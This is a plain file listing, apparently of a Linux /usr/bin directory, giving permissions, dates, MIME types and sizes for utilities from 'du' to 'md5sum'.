-rwxr-xr-x
2025-09-09 08:09:16
du
application/x-pie-executable
146.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
dumpkeys
application/x-pie-executable
158.71 KB
-rwxr-xr-x
2022-12-16 02:14:33
dvipdf
text/x-shellscript
1007 B
-rwxr-xr-x
2025-09-25 04:42:27
dwp
application/x-pie-executable
1.82 MB
-rwxr-xr-x
2025-12-03 03:08:01
eatmydata
text/x-shellscript
2.74 KB
-rwxr-xr-x
2021-04-17 11:51:44
ec2metadata
text/x-script.python
8.38 KB
-rwxr-xr-x
2021-08-05 09:58:37
echo
application/x-pie-executable
34.3 KB
-rwxr-xr-x
2026-01-23 10:51:17
ed
application/x-pie-executable
54.49 KB
-rwxr-xr-x
2022-02-13 11:08:51
edit
text/x-perl
18.06 KB
-rwxr-xr-x
2026-07-03 01:05:05
editor
application/x-pie-executable
276.52 KB
-rwxr-xr-x
2026-06-03 10:51:38
egrep
text/x-shellscript
28 B
-rwxr-xr-x
2022-03-23 01:56:13
eject
application/x-pie-executable
42.23 KB
-rwxr-xr-x
2026-03-06 04:10:04
elfedit
application/x-pie-executable
34.72 KB
-rwxr-xr-x
2025-12-03 03:08:01
enc2xs
text/x-perl
40.84 KB
-rwxr-xr-x
2026-06-23 08:11:00
encguess
text/x-perl
3.01 KB
-rwxr-xr-x
2026-06-23 08:11:00
env
application/x-pie-executable
42.95 KB
-rwxr-xr-x
2026-01-23 10:51:17
envsubst
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2022-03-25 10:31:07
eps2eps
text/x-shellscript
639 B
-rwxr-xr-x
2025-09-25 04:42:27
eqn
application/x-pie-executable
188.45 KB
-rwxr-xr-x
2022-03-23 01:56:30
ex
application/x-pie-executable
3.61 MB
-rwxr-xr-x
2026-07-13 07:08:21
expand
application/x-pie-executable
34.53 KB
-rwxr-xr-x
2026-01-23 10:51:17
expiry
application/x-pie-executable
22.59 KB
-rwxr-sr-x
2024-02-06 12:54:23
expr
application/x-pie-executable
102.41 KB
-rwxr-xr-x
2026-01-23 10:51:17
eyuvtoppm
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
factor
application/x-pie-executable
70.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
faillog
application/x-pie-executable
22.59 KB
-rwxr-xr-x
2024-02-06 12:54:23
faked-sysv
application/x-pie-executable
30.39 KB
-rwxr-xr-x
2022-03-05 08:33:00
faked-tcp
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2022-03-05 08:33:00
fakeroot
text/x-shellscript
3.9 KB
-rwxr-xr-x
2022-03-05 08:33:00
fakeroot-sysv
text/x-shellscript
3.9 KB
-rwxr-xr-x
2022-03-05 08:33:00
fakeroot-tcp
text/x-shellscript
3.9 KB
-rwxr-xr-x
2022-03-05 08:33:00
fallocate
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
false
application/x-pie-executable
26.3 KB
-rwxr-xr-x
2026-01-23 10:51:17
fc-cache
application/x-pie-executable
22.23 KB
-rwxr-xr-x
2022-03-23 01:52:38
fc-cat
application/x-pie-executable
18.23 KB
-rwxr-xr-x
2022-03-23 01:52:38
fc-conflist
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2022-03-23 01:52:38
fc-list
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2022-03-23 01:52:38
fc-match
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2022-03-23 01:52:38
fc-pattern
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2022-03-23 01:52:38
fc-query
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2022-03-23 01:52:38
fc-scan
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2022-03-23 01:52:38
fc-validate
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2022-03-23 01:52:38
fcgistarter
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2026-07-06 04:41:46
fgconsole
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2022-12-16 02:14:33
fgrep
text/x-shellscript
28 B
-rwxr-xr-x
2022-03-23 01:56:13
fiascotopnm
application/x-pie-executable
118.6 KB
-rwxr-xr-x
2021-02-07 06:32:35
file
application/x-pie-executable
26.56 KB
-rwxr-xr-x
2023-09-11 05:59:06
finalrd
text/x-shellscript
2.06 KB
-rwxr-xr-x
2022-02-16 04:56:26
fincore
application/x-pie-executable
22.42 KB
-rwxr-xr-x
2026-03-06 04:10:04
find
application/x-pie-executable
275.48 KB
-rwsrwxrwx
2022-03-23 01:52:12
findmnt
application/x-pie-executable
63.61 KB
-rwxr-xr-x
2026-03-06 04:10:04
fitstopnm
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
flock
application/x-pie-executable
22.48 KB
-rwxr-xr-x
2026-03-06 04:10:04
fmt
application/x-pie-executable
38.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
fold
application/x-pie-executable
34.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
free
application/x-pie-executable
26.23 KB
-rwxr-xr-x
2023-10-31 11:36:04
fstopgm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ftp
application/x-pie-executable
178.9 KB
-rwxr-xr-x
2022-03-25 10:01:15
ftpcount
application/x-pie-executable
23.66 KB
-rwxr-xr-x
2025-02-05 01:53:13
ftpdctl
application/x-pie-executable
98.36 KB
-rwxr-xr-x
2025-02-05 01:53:13
ftptop
application/x-pie-executable
27.33 KB
-rwxr-xr-x
2025-02-05 01:53:13
ftpwho
application/x-pie-executable
43.8 KB
-rwxr-xr-x
2025-02-05 01:53:13
funzip
application/x-pie-executable
22.3 KB
-rwxr-xr-x
2024-02-01 03:52:55
fuser
application/x-pie-executable
39.31 KB
-rwxr-xr-x
2022-03-24 04:29:37
fusermount
application/x-pie-executable
34.38 KB
-rwsr-xr-x
2022-03-23 01:53:14
fusermount3
application/x-pie-executable
34.38 KB
-rwsr-xr-x
2022-03-23 01:53:14
fwupdmgr
application/x-pie-executable
130.3 KB
-rwxr-xr-x
2026-06-12 07:13:00
fwupdtool
application/x-pie-executable
142.3 KB
-rwxr-xr-x
2026-06-12 07:13:00
g++
application/x-executable
910.82 KB
-rwxr-xr-x
2025-12-18 07:31:24
g++-11
application/x-executable
910.82 KB
-rwxr-xr-x
2025-12-18 07:31:24
g3topbm
application/x-pie-executable
17.13 KB
-rwxr-xr-x
2021-02-07 06:32:35
gapplication
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-01-28 05:57:54
gawk
application/x-pie-executable
688.46 KB
-rwxr-xr-x
2026-07-20 10:38:47
gcc
application/x-executable
906.82 KB
-rwxr-xr-x
2025-12-18 07:31:24
gcc-11
application/x-executable
906.82 KB
-rwxr-xr-x
2025-12-18 07:31:24
gcc-ar
application/x-executable
26.54 KB
-rwxr-xr-x
2025-12-18 07:31:24
gcc-ar-11
application/x-executable
26.54 KB
-rwxr-xr-x
2025-12-18 07:31:24
gcc-nm
application/x-executable
26.54 KB
-rwxr-xr-x
2025-12-18 07:31:24
gcc-nm-11
application/x-executable
26.54 KB
-rwxr-xr-x
2025-12-18 07:31:24
gcc-ranlib
application/x-executable
26.54 KB
-rwxr-xr-x
2025-12-18 07:31:24
gcc-ranlib-11
application/x-executable
26.54 KB
-rwxr-xr-x
2025-12-18 07:31:24
gcov
application/x-executable
400.01 KB
-rwxr-xr-x
2025-12-18 07:31:24
gcov-11
application/x-executable
400.01 KB
-rwxr-xr-x
2025-12-18 07:31:24
gcov-dump
application/x-executable
251.84 KB
-rwxr-xr-x
2025-12-18 07:31:24
gcov-dump-11
application/x-executable
251.84 KB
-rwxr-xr-x
2025-12-18 07:31:24
gcov-tool
application/x-executable
275.93 KB
-rwxr-xr-x
2025-12-18 07:31:24
gcov-tool-11
application/x-executable
275.93 KB
-rwxr-xr-x
2025-12-18 07:31:24
gdbus
application/x-pie-executable
50.38 KB
-rwxr-xr-x
2026-01-28 05:57:54
gdk-pixbuf-csource
application/x-pie-executable
14.33 KB
-rwxr-xr-x
2026-04-02 01:40:56
gdk-pixbuf-pixdata
application/x-pie-executable
14.31 KB
-rwxr-xr-x
2026-04-02 01:40:56
gdk-pixbuf-thumbnailer
application/x-pie-executable
18.39 KB
-rwxr-xr-x
2026-04-02 01:40:56
gemtopbm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
gemtopnm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
gencat
application/x-pie-executable
26.37 KB
-rwxr-xr-x
2026-07-24 12:11:17
geqn
application/x-pie-executable
188.45 KB
-rwxr-xr-x
2022-03-23 01:56:30
getconf
application/x-pie-executable
34.29 KB
-rwxr-xr-x
2026-07-24 12:11:17
getent
application/x-pie-executable
38.65 KB
-rwxr-xr-x
2026-07-24 12:11:17
getkeycodes
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2022-12-16 02:14:33
getopt
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
gettext
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2022-03-25 10:31:07
gettext.sh
text/x-shellscript
5.07 KB
-rwxr-xr-x
2022-03-25 10:31:07
ghostscript
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2025-09-25 04:42:27
giftopnm
application/x-pie-executable
22.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ginstall-info
application/x-pie-executable
103.23 KB
-rwxr-xr-x
2022-02-06 12:48:45
gio
application/x-pie-executable
90.4 KB
-rwxr-xr-x
2026-01-28 05:57:54
gio-querymodules
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2026-01-28 05:57:54
git
application/x-pie-executable
3.54 MB
-rwxr-xr-x
2026-02-26 07:49:53
git-receive-pack
application/x-pie-executable
3.54 MB
-rwxr-xr-x
2026-02-26 07:49:53
git-shell
application/x-pie-executable
552.58 KB
-rwxr-xr-x
2026-02-26 07:49:53
git-upload-archive
application/x-pie-executable
3.54 MB
-rwxr-xr-x
2026-02-26 07:49:53
git-upload-pack
application/x-pie-executable
3.54 MB
-rwxr-xr-x
2026-02-26 07:49:53
glib-compile-schemas
application/x-pie-executable
50.3 KB
-rwxr-xr-x
2026-01-28 05:57:54
gmake
application/x-pie-executable
249.7 KB
-rwxr-xr-x
2022-02-15 03:32:21
gold
application/x-pie-executable
3.04 MB
-rwxr-xr-x
2025-12-03 03:08:01
gouldtoppm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
gpasswd
application/x-pie-executable
70.38 KB
-rwsr-xr-x
2024-02-06 12:54:23
gpg
application/x-pie-executable
1 MB
-rwxr-xr-x
2026-01-05 10:14:39
gpg-agent
application/x-pie-executable
312.96 KB
-rwxr-xr-x
2026-01-05 10:14:39
gpg-connect-agent
application/x-pie-executable
82.99 KB
-rwxr-xr-x
2026-01-05 10:14:39
gpg-wks-server
application/x-pie-executable
115.05 KB
-rwxr-xr-x
2026-01-05 10:14:39
gpg-zip
text/x-shellscript
3.43 KB
-rwxr-xr-x
2026-01-05 10:14:39
gpgcompose
application/x-pie-executable
496.48 KB
-rwxr-xr-x
2026-01-05 10:14:39
gpgconf
application/x-pie-executable
126.73 KB
-rwxr-xr-x
2026-01-05 10:14:39
gpgparsemail
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2026-01-05 10:14:39
gpgsm
application/x-pie-executable
418.9 KB
-rwxr-xr-x
2026-01-05 10:14:39
gpgsplit
application/x-pie-executable
26.55 KB
-rwxr-xr-x
2026-01-05 10:14:39
gpgtar
application/x-pie-executable
63.39 KB
-rwxr-xr-x
2026-01-05 10:14:39
gpgv
application/x-pie-executable
271.04 KB
-rwxr-xr-x
2026-01-05 10:14:39
gpic
application/x-pie-executable
200.04 KB
-rwxr-xr-x
2022-03-23 01:56:30
gprof
application/x-pie-executable
111.79 KB
-rwxr-xr-x
2025-12-03 03:08:01
gpu-manager
application/x-pie-executable
78.82 KB
-rwxr-xr-x
2025-12-10 09:16:48
grep
application/x-pie-executable
178.45 KB
-rwxr-xr-x
2022-03-23 01:56:13
gresource
application/x-pie-executable
22.3 KB
-rwxr-xr-x
2026-01-28 05:57:54
groff
application/x-pie-executable
94.5 KB
-rwxr-xr-x
2022-03-23 01:56:30
grog
text/x-perl
2.71 KB
-rwxr-xr-x
2022-03-23 01:56:30
grops
application/x-pie-executable
162.55 KB
-rwxr-xr-x
2022-03-23 01:56:30
grotty
application/x-pie-executable
118.52 KB
-rwxr-xr-x
2022-03-23 01:56:30
groups
application/x-pie-executable
34.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
growpart
text/x-shellscript
26.22 KB
-rwxr-xr-x
2021-08-05 09:58:37
grub-editenv
application/x-pie-executable
376.95 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-file
application/x-pie-executable
816.45 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-fstest
application/x-pie-executable
937.92 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-glue-efi
application/x-pie-executable
247.86 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-kbdcomp
text/x-shellscript
1.64 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-menulst2cfg
application/x-pie-executable
228.13 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-mkfont
application/x-pie-executable
272.42 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-mkimage
application/x-pie-executable
361.05 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-mklayout
application/x-pie-executable
252.17 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-mknetdir
application/x-pie-executable
417.66 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-mkpasswd-pbkdf2
application/x-pie-executable
256.2 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-mkrelpath
application/x-pie-executable
247.58 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-mkrescue
application/x-pie-executable
998.47 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-mkstandalone
application/x-pie-executable
493.95 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-mount
application/x-pie-executable
760.84 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-ntldr-img
application/x-pie-executable
38.24 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-render-label
application/x-pie-executable
828.83 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-script-check
application/x-pie-executable
275.7 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-syslinux2cfg
application/x-pie-executable
781.34 KB
-rwxr-xr-x
2022-12-18 09:21:26
gs
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2025-09-25 04:42:27
gsbj
text/x-shellscript
350 B
-rwxr-xr-x
2025-09-25 04:42:27
gsdj
text/x-shellscript
352 B
-rwxr-xr-x
2025-09-25 04:42:27
gsdj500
text/x-shellscript
352 B
-rwxr-xr-x
2025-09-25 04:42:27
gsettings
application/x-pie-executable
30.3 KB
-rwxr-xr-x
2026-01-28 05:57:54
gslj
text/x-shellscript
353 B
-rwxr-xr-x
2025-09-25 04:42:27
gslp
text/x-shellscript
350 B
-rwxr-xr-x
2025-09-25 04:42:27
gsnd
text/x-shellscript
277 B
-rwxr-xr-x
2025-09-25 04:42:27
gtbl
application/x-pie-executable
126.48 KB
-rwxr-xr-x
2022-03-23 01:56:30
gunzip
text/x-shellscript
2.29 KB
-rwxr-xr-x
2026-07-03 11:55:53
gzexe
text/x-shellscript
6.33 KB
-rwxr-xr-x
2026-07-03 11:55:53
gzip
application/x-pie-executable
91.23 KB
-rwxr-xr-x
2026-07-03 11:55:53
h2ph
text/x-perl
28.54 KB
-rwxr-xr-x
2026-06-23 08:11:00
h2xs
text/x-perl
59.51 KB
-rwxr-xr-x
2026-06-23 08:11:00
hardlink
application/x-pie-executable
34.43 KB
-rwxr-xr-x
2026-03-06 04:10:04
hd
application/x-pie-executable
50.39 KB
-rwxr-xr-x
2026-03-06 04:10:04
head
application/x-pie-executable
42.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
helpztags
text/x-perl
2.46 KB
-rwxr-xr-x
2026-06-15 10:18:01
hexdump
application/x-pie-executable
50.39 KB
-rwxr-xr-x
2026-03-06 04:10:04
hipstopgm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
host
application/x-pie-executable
118.82 KB
-rwxr-xr-x
2026-05-21 02:42:08
hostid
application/x-pie-executable
30.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
hostname
application/x-pie-executable
22.23 KB
-rwxr-xr-x
2022-03-23 01:57:59
hostnamectl
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2026-06-05 03:40:28
htcacheclean
application/x-pie-executable
38.31 KB
-rwxr-xr-x
2026-07-06 04:41:46
htdbm
application/x-pie-executable
26.3 KB
-rwxr-xr-x
2026-07-06 04:41:46
htdigest
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2026-07-06 04:41:46
html2text
application/x-pie-executable
218.32 KB
-rwxr-xr-x
2020-06-23 08:20:10
htop
application/x-pie-executable
277.19 KB
-rwxr-xr-x
2022-03-23 01:58:03
htpasswd
application/x-pie-executable
26.3 KB
-rwxr-xr-x
2026-07-06 04:41:46
hwe-support-status
text/x-script.python
10.58 KB
-rwxr-xr-x
2024-07-11 09:48:43
i386
application/x-pie-executable
26.65 KB
-rwxr-xr-x
2026-03-06 04:10:04
ibd2sdi
application/x-pie-executable
294.74 KB
-rwxr-xr-x
2026-06-20 11:54:34
icontopbm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
iconv
application/x-pie-executable
66.41 KB
-rwxr-xr-x
2026-07-24 12:11:17
id
application/x-pie-executable
38.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
identify
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
identify-im6
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
identify-im6.q16
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
ilbmtoppm
application/x-pie-executable
66.1 KB
-rwxr-xr-x
2021-02-07 06:32:35
imagetops
text/x-shellscript
1.21 KB
-rwxr-xr-x
2021-02-07 06:32:35
imgtoppm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
import
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
import-im6
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
import-im6.q16
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
info
application/x-pie-executable
301.74 KB
-rwxr-xr-x
2022-02-06 12:48:45
infobrowser
application/x-pie-executable
301.74 KB
-rwxr-xr-x
2022-02-06 12:48:45
infocmp
application/x-pie-executable
62.38 KB
-rwxr-xr-x
2026-06-30 09:25:30
infotocap
application/x-pie-executable
86.41 KB
-rwxr-xr-x
2026-06-30 09:25:30
innochecksum
application/x-pie-executable
199.39 KB
-rwxr-xr-x
2026-06-20 11:54:34
install
application/x-pie-executable
142.52 KB
-rwxr-xr-x
2026-01-23 10:51:17
install-info
application/x-pie-executable
103.23 KB
-rwxr-xr-x
2022-02-06 12:48:45
instmodsh
text/x-perl
4.27 KB
-rwxr-xr-x
2026-06-23 08:11:00
ionice
application/x-pie-executable
18.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
ip
application/x-pie-executable
702.05 KB
-rwxr-xr-x
2026-04-15 07:15:26
ipcmk
application/x-pie-executable
22.45 KB
-rwxr-xr-x
2026-03-06 04:10:04
ipcrm
application/x-pie-executable
18.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
ipcs
application/x-pie-executable
38.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
iptables-xml
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
ischroot
application/x-pie-executable
14.2 KB
-rwxr-xr-x
2022-03-23 01:49:54
iscsiadm
application/x-pie-executable
398.46 KB
-rwxr-xr-x
2025-02-11 03:06:32
join
application/x-pie-executable
46.55 KB
-rwxr-xr-x
2026-01-23 10:51:17
journalctl
application/x-pie-executable
78.39 KB
-rwxr-xr-x
2026-06-05 03:40:28
jpegtopnm
application/x-pie-executable
30.09 KB
-rwxr-xr-x
2021-02-07 06:32:35
jq
application/x-pie-executable
30.15 KB
-rwxr-xr-x
2026-04-20 07:29:39
json-patch-jsondiff
text/x-script.python
1004 B
-rwxr-xr-x
2021-09-29 10:31:04
json_pp
text/x-perl
4.88 KB
-rwxr-xr-x
2026-06-23 08:11:00
json_xs
text/x-perl
6.85 KB
-rwxr-xr-x
2025-09-12 12:46:47
jsondiff
text/x-script.python
1004 B
-rwxr-xr-x
2021-09-29 10:31:04
jsonpatch
text/x-script.python
3.77 KB
-rwxr-xr-x
2021-09-29 10:31:04
jsonpointer
text/x-script.python
1.79 KB
-rwxr-xr-x
2020-01-24 03:25:15
jsonschema
text/x-script.python
397 B
-rwxr-xr-x
2020-01-23 06:44:38
kbd_mode
application/x-pie-executable
14.52 KB
-rwxr-xr-x
2022-12-16 02:14:33
kbdinfo
application/x-pie-executable
18.23 KB
-rwxr-xr-x
2022-12-16 02:14:33
kbxutil
application/x-pie-executable
62.83 KB
-rwxr-xr-x
2026-01-05 10:14:39
keep-one-running
text/x-shellscript
3.51 KB
-rwxr-xr-x
2014-01-15 10:24:04
kernel-install
text/x-shellscript
4.79 KB
-rwxr-xr-x
2022-03-11 12:48:49
keyring
text/x-script.python
961 B
-rwxr-xr-x
2022-01-02 02:55:06
kill
application/x-pie-executable
30.23 KB
-rwxr-xr-x
2023-10-31 11:36:04
killall
application/x-pie-executable
31.34 KB
-rwxr-xr-x
2022-03-24 04:29:37
kmod
application/x-pie-executable
166.36 KB
-rwxr-xr-x
2026-04-30 12:32:42
kmodsign
application/x-pie-executable
18.45 KB
-rwxr-xr-x
2021-11-05 05:32:24
landscape-sysinfo
text/x-script.python
624 B
-rwxr-xr-x
2025-06-13 04:13:16
last
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
lastb
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
lastlog
application/x-pie-executable
27.63 KB
-rwxr-xr-x
2024-02-06 12:54:23
lcf
text/x-shellscript
7.6 KB
-rwxr-xr-x
2020-06-16 05:37:53
ld
application/x-pie-executable
1.66 MB
-rwxr-xr-x
2025-12-03 03:08:01
ld.bfd
application/x-pie-executable
1.66 MB
-rwxr-xr-x
2025-12-03 03:08:01
ld.gold
application/x-pie-executable
3.04 MB
-rwxr-xr-x
2025-12-03 03:08:01
ldd
text/x-shellscript
5.32 KB
-rwxr-xr-x
2026-07-24 12:11:17
leaftoppm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
less
application/x-pie-executable
194.38 KB
-rwxr-xr-x
2024-04-27 08:32:45
lessecho
application/x-pie-executable
14.31 KB
-rwxr-xr-x
2024-04-27 08:32:45
lessfile
text/x-shellscript
8.83 KB
-rwxr-xr-x
2021-12-28 07:39:40
lesskey
application/x-pie-executable
23.7 KB
-rwxr-xr-x
2024-04-27 08:32:45
lesspipe
text/x-shellscript
8.83 KB
-rwxr-xr-x
2021-12-28 07:39:40
lexgrog
application/x-pie-executable
99.75 KB
-rwxr-xr-x
2022-03-17 07:03:00
libnetcfg
text/x-perl
15.41 KB
-rwxr-xr-x
2026-06-23 08:11:00
link
application/x-pie-executable
30.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
linux-boot-prober
text/x-shellscript
1.54 KB
-rwxr-xr-x
2021-07-11 02:43:50
linux-check-removal
text/x-perl
3.99 KB
-rwxr-xr-x
2025-02-27 07:59:00
linux-update-symlinks
text/x-perl
6.17 KB
-rwxr-xr-x
2025-02-27 07:59:00
linux-version
text/x-perl
2.63 KB
-rwxr-xr-x
2024-11-13 12:23:42
linux32
application/x-pie-executable
26.65 KB
-rwxr-xr-x
2026-03-06 04:10:04
linux64
application/x-pie-executable
26.65 KB
-rwxr-xr-x
2026-03-06 04:10:04
lispmtopgm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ln
application/x-pie-executable
58.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
lnstat
application/x-pie-executable
22.66 KB
-rwxr-xr-x
2026-04-15 07:15:26
loadkeys
application/x-pie-executable
198.76 KB
-rwxr-xr-x
2022-12-16 02:14:33
loadunimap
application/x-pie-executable
30.32 KB
-rwxr-xr-x
2022-12-16 02:14:33
locale
application/x-pie-executable
57.56 KB
-rwxr-xr-x
2026-07-24 12:11:17
locale-check
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-09-10 11:18:05
localectl
application/x-pie-executable
26.37 KB
-rwxr-xr-x
2026-06-05 03:40:28
localedef
application/x-pie-executable
326.96 KB
-rwxr-xr-x
2026-07-24 12:11:17
logger
application/x-pie-executable
34.97 KB
-rwxr-xr-x
2026-03-06 04:10:04
login
application/x-pie-executable
51.73 KB
-rwxr-xr-x
2024-02-06 12:54:23
loginctl
application/x-pie-executable
58.48 KB
-rwxr-xr-x
2026-06-05 03:40:28
logname
application/x-pie-executable
30.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
logresolve
application/x-pie-executable
14.31 KB
-rwxr-xr-x
2026-07-06 04:41:46
look
application/x-pie-executable
18.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
lowntfs-3g
application/x-pie-executable
114.98 KB
-rwxr-xr-x
2026-07-11 03:55:48
ls
application/x-pie-executable
134.98 KB
-rwxr-xr-x
2026-01-23 10:51:17
lsattr
application/x-pie-executable
14.31 KB
-rwxr-xr-x
2023-10-09 01:50:10
lsb_release
text/x-script.python
3.55 KB
-rwxr-xr-x
2019-08-25 09:11:20
lsblk
application/x-pie-executable
122.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
lscpu
application/x-pie-executable
98.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
lshw
application/x-pie-executable
901.2 KB
-rwxr-xr-x
2025-10-10 01:55:44
lsinitramfs
text/x-shellscript
706 B
-rwxr-xr-x
2024-03-19 12:05:17
lsipc
application/x-pie-executable
50.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
lslocks
application/x-pie-executable
30.7 KB
-rwxr-xr-x
2026-03-06 04:10:04
lslogins
application/x-pie-executable
50.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
lsmem
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
lsmod
application/x-pie-executable
166.36 KB
-rwxr-xr-x
2026-04-30 12:32:42
lsns
application/x-pie-executable
38.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
lsof
application/x-pie-executable
163.62 KB
-rwxr-xr-x
2022-03-24 04:16:24
lspci
application/x-pie-executable
92.08 KB
-rwxr-xr-x
2021-08-30 02:45:58
lspgpot
text/x-shellscript
1.06 KB
-rwxr-xr-x
2017-08-28 10:22:54
lsusb
application/x-pie-executable
246.52 KB
-rwxr-xr-x
2022-03-25 09:53:09
lto-dump-11
application/x-executable
23.73 MB
-rwxr-xr-x
2025-12-18 07:31:24
lwp-download
text/x-perl
10.05 KB
-rwxr-xr-x
2026-05-22 03:44:12
lwp-dump
text/x-perl
2.65 KB
-rwxr-xr-x
2026-05-22 03:44:12
lwp-mirror
text/x-perl
2.36 KB
-rwxr-xr-x
2026-05-22 03:44:12
lwp-request
text/x-perl
15.82 KB
-rwxr-xr-x
2026-05-22 03:44:12
lynx
application/x-pie-executable
1.89 MB
-rwxr-xr-x
2021-10-28 02:31:20
lzcat
application/x-pie-executable
82.52 KB
-rwxr-xr-x
2026-05-28 04:06:40
lzcmp
text/x-shellscript
6.86 KB
-rwxr-xr-x
2026-05-28 04:06:40
lzdiff
text/x-shellscript
6.86 KB
-rwxr-xr-x
2026-05-28 04:06:40
lzegrep
text/x-shellscript
5.87 KB
-rwxr-xr-x
2026-05-28 04:06:40
lzfgrep
text/x-shellscript
5.87 KB
-rwxr-xr-x
2026-05-28 04:06:40
lzgrep
text/x-shellscript
5.87 KB
-rwxr-xr-x
2026-05-28 04:06:40
lzless
text/x-shellscript
1.76 KB
-rwxr-xr-x
2026-05-28 04:06:40
lzma
application/x-pie-executable
82.52 KB
-rwxr-xr-x
2026-05-28 04:06:40
lzmainfo
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2026-05-28 04:06:40
lzmore
text/x-shellscript
2.11 KB
-rwxr-xr-x
2026-05-28 04:06:40
macptopbm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
mailmail3
text/x-script.python
964 B
-rwxr-xr-x
2026-05-22 03:02:45
make
application/x-pie-executable
249.7 KB
-rwxr-xr-x
2022-02-15 03:32:21
make-first-existing-target
text/x-perl
4.79 KB
-rwxr-xr-x
2022-02-15 03:32:21
man
application/x-pie-executable
117.68 KB
-rwxr-xr-x
2022-03-17 07:03:00
man-recode
application/x-pie-executable
35.68 KB
-rwxr-xr-x
2022-03-17 07:03:00
mandb
application/x-pie-executable
139.94 KB
-rwxr-xr-x
2022-03-17 07:03:00
manifest
text/x-shellscript
1.9 KB
-rwxr-xr-x
2020-02-17 02:11:50
manpath
application/x-pie-executable
30.78 KB
-rwxr-xr-x
2022-03-17 07:03:00
mapscrn
application/x-pie-executable
30.32 KB
-rwxr-xr-x
2022-12-16 02:14:33
mawk
application/x-pie-executable
154.79 KB
-rwxr-xr-x
2022-01-23 09:57:23
mcookie
application/x-pie-executable
26.45 KB
-rwxr-xr-x
2026-03-06 04:10:04
md5sum
application/x-pie-executable
42.41 KB
-rwxr-xr-x
2026-01-23 10:51:17
